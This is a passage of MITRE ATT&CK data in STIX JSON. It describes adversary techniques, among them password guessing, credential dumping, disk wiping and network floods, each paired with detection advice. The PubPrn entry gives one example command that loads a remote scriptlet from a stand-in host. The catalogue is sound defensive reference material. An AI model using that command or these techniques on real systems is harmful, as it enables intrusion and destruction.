"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-16T16:57:41.743Z", "name": "Password Guessing", "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Microsoft Threat Intelligence Center (MSTIC)", "Mohamed Kmal"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["User Account: User Account Authentication", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "created": "2020-02-11T18:38:22.617Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1110/001", "external_id": "T1110.001"}, {"source_name": "Trend Micro Emotet 2020", "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.", "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"}, {"source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"}, {"source_name": "US-CERT TA18-068A 2018", "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Atul Nair, Qualys"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "created": "2020-02-03T16:49:57.788Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1216.001", "url": "https://attack.mitre.org/techniques/T1216/001"}, {"source_name": "pubprn", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn", "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021."}, {"source_name": "Enigma0x3 PubPrn Bypass", "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).", "modified": "2022-04-18T14:55:35.817Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "PubPrn", "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Script: Script Execution"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application Control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f", "type": "attack-pattern", "created": "2020-10-02T17:05:43.562Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1597.002", "url": "https://attack.mitre.org/techniques/T1597/002"}, {"source_name": "ZDNET Selling Data", "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/", "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:44:43.900Z", "name": "Purchase Technical Data", "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-18T23:47:41.667Z", "name": "OS Credential Dumping", "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Vincent Le Toux", "Ed Williams, Trustwave, SpiderLabs", "Tim (Wadhwa-)Brown", "Yves Yonan"], "x_mitre_deprecated": false, "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/<pid>/maps`, where the `<pid>` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Process: Process Creation", "Network Traffic: Network Traffic Flow", "File: File Creation", "Windows Registry: Windows Registry Key Access", "Process: OS API Execution", "File: File Access", "Process: Process Access", "Command: Command Execution", "Active Directory: Active Directory Object Access"], "type": "attack-pattern", "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "created": "2017-05-31T21:30:19.735Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003", "external_id": "T1003"}, {"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}, {"source_name": "AdSecurity DCSync Sept 2015", "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", "url": "https://adsecurity.org/?p=1729"}, {"source_name": "Microsoft DRSR Dec 2017", "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", "url": "https://msdn.microsoft.com/library/cc228086.aspx"}, {"source_name": "Microsoft NRPC Dec 2017", "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", "url": "https://msdn.microsoft.com/library/cc237008.aspx"}, {"source_name": "Microsoft GetNCCChanges", "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", "url": "https://msdn.microsoft.com/library/dd207691.aspx"}, {"source_name": "Microsoft SAMR", "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", "url": "https://msdn.microsoft.com/library/cc245496.aspx"}, {"source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit"}, {"source_name": "Samba DRSUAPI", "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", "url": "https://wiki.samba.org/index.php/DRSUAPI"}, {"source_name": "Harmj0y DCSync Sept 2015", "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"}, {"source_name": "Brining MimiKatz to Unix", "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-12T21:17:14.868Z", "name": "Shared Modules", "description": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Stefan Kanthak"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Process: OS API Execution", "Module: Module Load"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "created": "2017-05-31T21:31:40.542Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1129", "external_id": "T1129"}, {"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}, {"source_name": "Apple Dev Dynamic Libraries", "description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.", "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"}, {"source_name": "Unit42 OceanLotus 2017", "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.", "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}, {"source_name": "Microsoft DLL", "description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.", "url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"}, {"source_name": "Linux Shared Libraries", "description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.", "url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "created": "2020-10-19T23:46:13.931Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1602", "url": "https://attack.mitre.org/techniques/T1602"}, {"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities", "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3", "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."}, {"source_name": "US-CERT TA17-156A SNMP Abuse 2017", "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A", "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}, {"source_name": "US-CERT-TA18-106A", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "modified": "2022-04-19T21:32:58.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Data from Configuration Repository", "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-14T19:38:24.089Z", "name": "Disk Structure Wipe", "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Driver: Driver Load", "Drive: Drive Modification", "Drive: Drive Access", "Command: Command Execution", "Process: Process Creation"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "created": "2020-02-20T22:10:20.484Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1561/002", "external_id": "T1561.002"}, {"source_name": "format_cmd_cisco", "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"}, {"source_name": "Unit 42 Shamoon3 2018", "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"}, {"source_name": "Palo Alto Shamoon Nov 2016", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}, {"source_name": "FireEye Shamoon Nov 2016", "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"}, {"source_name": "Kaspersky StoneDrill 2017", "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"}, {"source_name": "Microsoft Sysmon v6 May 2017", "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"}, {"source_name": "Symantec Shamoon 2012", "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:53.685Z", "name": "Direct Network Flood", "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Sensor Health: Host Status"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", "created": "2020-03-02T20:07:18.651Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1498/001", "external_id": "T1498.001"}, {"source_name": "Cisco DoSdetectNetflow", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"}, {"source_name": "USNYAG IranianBotnet March 2016", "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", "type": "attack-pattern", "created": "2019-04-09T11:51:30.942Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1492", "url": "https://attack.mitre.org/techniques/T1492"}, {"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38", "source_name": "FireEye APT38 Oct 2018"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}], "modified": "2020-03-02T14:24:26.780Z", "name": "Stored Data Manipulation", "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external 